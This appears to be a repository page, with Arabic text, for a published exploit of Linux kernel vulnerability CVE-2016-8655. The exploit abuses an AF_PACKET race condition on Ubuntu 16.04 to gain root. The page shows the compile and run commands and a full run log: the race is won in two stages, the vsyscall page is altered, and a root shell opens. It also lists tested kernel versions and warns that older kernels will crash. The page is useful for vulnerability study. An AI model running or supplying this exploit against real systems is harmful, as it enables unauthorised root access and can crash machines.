lakshmidesai/cve-2016-8655استغلال تصعيد الامتيازات المحلية لنواة لينكس لثغرة CVE-2016-8655، يستهدف حالة السباق في AF_PACKET على Ubuntu 16.04 x86_64 للحصول على صلاحيات الجذر عبر التلاعب بالذاكرة.
ocobo_root.c استغلال ثغرة سباق AF_PACKET في لينكس استغلال لـ Ubuntu 16.04 x86_64
user@ubuntu:$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:$ ./chocobo_root
making vsyscall page writable..
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, race won === please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered!
stage 1 completed registering new sysctl..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won
retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, race won === please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added!
stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)
==============================
توجد إزاحات (Offsets) مضمّنة لأنوية أقدم، لكنها غير مُختبرة لذا كن حذرًا: هذا الاستغلال سيُحدث على الأرجح انهيارًا في الأنوية الأقدم من 4.4.
تم اختباره على: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
تحية إلى: jsc للإلهام (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery لتوصيل الكعك والقهوة
11/2016 بواسطة rebel
